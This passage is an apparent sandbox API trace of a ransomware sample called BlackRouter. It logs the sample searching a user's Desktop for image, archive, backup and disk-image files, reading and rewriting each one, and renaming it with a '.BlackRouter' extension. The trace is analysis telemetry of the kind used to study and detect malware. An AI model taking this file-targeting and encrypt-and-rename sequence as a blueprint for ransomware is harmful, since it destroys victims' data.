(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NckKV8_xZjsWZGMLCFu9.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nckkv8_xzjswzgmlcfu9.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.467] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NckKV8_xZjsWZGMLCFu9.png", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NckKV8_xZjsWZGMLCFu9.png", lpFilePart=0x0) returned 0x3e [0040.467] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NckKV8_xZjsWZGMLCFu9.png.BlackRouter", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NckKV8_xZjsWZGMLCFu9.png.BlackRouter", lpFilePart=0x0) returned 0x4a [0040.467] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NckKV8_xZjsWZGMLCFu9.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nckkv8_xzjswzgmlcfu9.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x545ddbc0, ftCreationTime.dwHighDateTime=0x1d46314, ftLastAccessTime.dwLowDateTime=0x361a2f50, ftLastAccessTime.dwHighDateTime=0x1d465c7, ftLastWriteTime.dwLowDateTime=0xbea19430, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x14980)) returned 1 [0040.467] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NckKV8_xZjsWZGMLCFu9.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nckkv8_xzjswzgmlcfu9.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NckKV8_xZjsWZGMLCFu9.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nckkv8_xzjswzgmlcfu9.png.blackrouter")) returned 1 [0040.468] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nFLeqCy.png", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nFLeqCy.png", lpFilePart=0x0) returned 0x31 [0040.468] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nFLeqCy.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nfleqcy.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.468] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x524e [0040.468] ReadFile (in: hFile=0x258, lpBuffer=0x2a7a7b8, nNumberOfBytesToRead=0x524e, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x2a7a7b8*, lpNumberOfBytesRead=0x1ae708*=0x524e, lpOverlapped=0x0) returned 1 [0040.470] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nFLeqCy.png", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nFLeqCy.png", lpFilePart=0x0) returned 0x31 [0040.470] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nFLeqCy.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nfleqcy.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.475] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nFLeqCy.png", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nFLeqCy.png", lpFilePart=0x0) returned 0x31 [0040.475] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nFLeqCy.png.BlackRouter", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nFLeqCy.png.BlackRouter", lpFilePart=0x0) returned 0x3d [0040.475] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nFLeqCy.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nfleqcy.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca688a0, ftCreationTime.dwHighDateTime=0x1d4667e, ftLastAccessTime.dwLowDateTime=0x74ba3770, ftLastAccessTime.dwHighDateTime=0x1d45d1e, ftLastWriteTime.dwLowDateTime=0xbea3f590, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x5250)) returned 1 [0040.475] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nFLeqCy.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nfleqcy.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nFLeqCy.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nfleqcy.png.blackrouter")) returned 1 [0040.477] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w junN3Fxzof3.png", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w junN3Fxzof3.png", lpFilePart=0x0) returned 0x37 [0040.477] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w junN3Fxzof3.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w junn3fxzof3.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.477] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x12c5b [0040.477] ReadFile (in: hFile=0x258, lpBuffer=0x2a857e0, nNumberOfBytesToRead=0x12c5b, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x2a857e0*, lpNumberOfBytesRead=0x1ae708*=0x12c5b, lpOverlapped=0x0) returned 1 [0040.482] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w junN3Fxzof3.png", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w junN3Fxzof3.png", lpFilePart=0x0) returned 0x37 [0040.482] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w junN3Fxzof3.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w junn3fxzof3.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.486] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w junN3Fxzof3.png", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w junN3Fxzof3.png", lpFilePart=0x0) returned 0x37 [0040.486] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w junN3Fxzof3.png.BlackRouter", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w junN3Fxzof3.png.BlackRouter", lpFilePart=0x0) returned 0x43 [0040.487] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w junN3Fxzof3.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w junn3fxzof3.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4c1b40, ftCreationTime.dwHighDateTime=0x1d4651e, ftLastAccessTime.dwLowDateTime=0x59d0d310, ftLastAccessTime.dwHighDateTime=0x1d46633, ftLastWriteTime.dwLowDateTime=0xbea3f590, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x12c60)) returned 1 [0040.487] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w junN3Fxzof3.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w junn3fxzof3.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w junN3Fxzof3.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w junn3fxzof3.png.blackrouter")) returned 1 [0040.488] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.488] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.488] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.bmp", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0x1ac59c20 [0040.488] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 0 [0040.488] FindClose (in: hFindFile=0x1ac59c20 | out: hFindFile=0x1ac59c20) returned 1 [0040.489] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DopI6Sgjvx1g.bmp", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DopI6Sgjvx1g.bmp", lpFilePart=0x0) returned 0x36 [0040.489] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DopI6Sgjvx1g.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dopi6sgjvx1g.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.489] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x138a6 [0040.490] ReadFile (in: hFile=0x258, lpBuffer=0x2aac688, nNumberOfBytesToRead=0x138a6, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x2aac688*, lpNumberOfBytesRead=0x1ae708*=0x138a6, lpOverlapped=0x0) returned 1 [0040.512] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DopI6Sgjvx1g.bmp", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DopI6Sgjvx1g.bmp", lpFilePart=0x0) returned 0x36 [0040.513] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DopI6Sgjvx1g.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dopi6sgjvx1g.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.517] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DopI6Sgjvx1g.bmp", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DopI6Sgjvx1g.bmp", lpFilePart=0x0) returned 0x36 [0040.517] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DopI6Sgjvx1g.bmp.BlackRouter", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DopI6Sgjvx1g.bmp.BlackRouter", lpFilePart=0x0) returned 0x42 [0040.517] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DopI6Sgjvx1g.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dopi6sgjvx1g.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32509fa0, ftCreationTime.dwHighDateTime=0x1d45e31, ftLastAccessTime.dwLowDateTime=0x132d9a10, ftLastAccessTime.dwHighDateTime=0x1d465a2, ftLastWriteTime.dwLowDateTime=0xbea8b850, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x138b0)) returned 1 [0040.517] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DopI6Sgjvx1g.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dopi6sgjvx1g.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DopI6Sgjvx1g.bmp.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dopi6sgjvx1g.bmp.blackrouter")) returned 1 [0040.518] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.519] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0x1ac59c20 [0040.519] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0040.519] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0040.519] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0040.519] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 0 [0040.519] FindClose (in: hFindFile=0x1ac59c20 | out: hFindFile=0x1ac59c20) returned 1 [0040.520] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aR9G7XBhKvZqu7fDuR05.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ar9g7xbhkvzqu7fdur05.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.520] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x106cc [0040.520] ReadFile (in: hFile=0x258, lpBuffer=0x28e1ea0, nNumberOfBytesToRead=0x106cc, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x28e1ea0*, lpNumberOfBytesRead=0x1ae708*=0x106cc, lpOverlapped=0x0) returned 1 [0040.523] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aR9G7XBhKvZqu7fDuR05.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ar9g7xbhkvzqu7fdur05.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.527] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aR9G7XBhKvZqu7fDuR05.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ar9g7xbhkvzqu7fdur05.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5a12120, ftCreationTime.dwHighDateTime=0x1d45bae, ftLastAccessTime.dwLowDateTime=0x2cd18320, ftLastAccessTime.dwHighDateTime=0x1d46672, ftLastWriteTime.dwLowDateTime=0xbeab19b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x106d0)) returned 1 [0040.528] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aR9G7XBhKvZqu7fDuR05.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ar9g7xbhkvzqu7fdur05.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aR9G7XBhKvZqu7fDuR05.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ar9g7xbhkvzqu7fdur05.jpg.blackrouter")) returned 1 [0040.529] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD1gMa1Z1d0Fc-ReZ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd1gma1z1d0fc-rez.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.529] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x16265 [0040.529] ReadFile (in: hFile=0x258, lpBuffer=0x146b3710, nNumberOfBytesToRead=0x16265, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x146b3710*, lpNumberOfBytesRead=0x1ae708*=0x16265, lpOverlapped=0x0) returned 1 [0040.536] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD1gMa1Z1d0Fc-ReZ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd1gma1z1d0fc-rez.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.540] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD1gMa1Z1d0Fc-ReZ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd1gma1z1d0fc-rez.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dd65ca0, ftCreationTime.dwHighDateTime=0x1d45ff4, ftLastAccessTime.dwLowDateTime=0xebbc8520, ftLastAccessTime.dwHighDateTime=0x1d460fd, ftLastWriteTime.dwLowDateTime=0xbead7b10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x16270)) returned 1 [0040.540] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD1gMa1Z1d0Fc-ReZ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd1gma1z1d0fc-rez.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD1gMa1Z1d0Fc-ReZ.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd1gma1z1d0fc-rez.jpg.blackrouter")) returned 1 [0040.542] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CxmnXgEcKTBMICx.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cxmnxgecktbmicx.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.542] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x583d [0040.542] ReadFile (in: hFile=0x258, lpBuffer=0x2904418, nNumberOfBytesToRead=0x583d, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x2904418*, lpNumberOfBytesRead=0x1ae708*=0x583d, lpOverlapped=0x0) returned 1 [0040.544] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CxmnXgEcKTBMICx.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cxmnxgecktbmicx.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.547] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CxmnXgEcKTBMICx.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cxmnxgecktbmicx.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc063b00, ftCreationTime.dwHighDateTime=0x1d458ca, ftLastAccessTime.dwLowDateTime=0x7513ded0, ftLastAccessTime.dwHighDateTime=0x1d458ad, ftLastWriteTime.dwLowDateTime=0xbead7b10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x5840)) returned 1 [0040.547] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CxmnXgEcKTBMICx.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cxmnxgecktbmicx.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CxmnXgEcKTBMICx.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cxmnxgecktbmicx.jpg.blackrouter")) returned 1 [0040.549] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\muiA05kkl.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\muia05kkl.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.549] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x14c55 [0040.549] ReadFile (in: hFile=0x258, lpBuffer=0x146dfc58, nNumberOfBytesToRead=0x14c55, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x146dfc58*, lpNumberOfBytesRead=0x1ae708*=0x14c55, lpOverlapped=0x0) returned 1 [0040.555] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\muiA05kkl.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\muia05kkl.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.560] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\muiA05kkl.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\muia05kkl.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b1ed6d0, ftCreationTime.dwHighDateTime=0x1d45b5e, ftLastAccessTime.dwLowDateTime=0x6ba86760, ftLastAccessTime.dwHighDateTime=0x1d45963, ftLastWriteTime.dwLowDateTime=0xbeafdc70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x14c60)) returned 1 [0040.560] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\muiA05kkl.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\muia05kkl.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\muiA05kkl.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\muia05kkl.jpg.blackrouter")) returned 1 [0040.562] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpeg", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.562] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.iso", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.562] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.backup", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.563] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.zip", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.563] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rar", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.563] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.tgz", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.564] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.tar", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.564] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.bak", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.564] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ARC", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.564] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vmdk", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.565] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vdi", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) 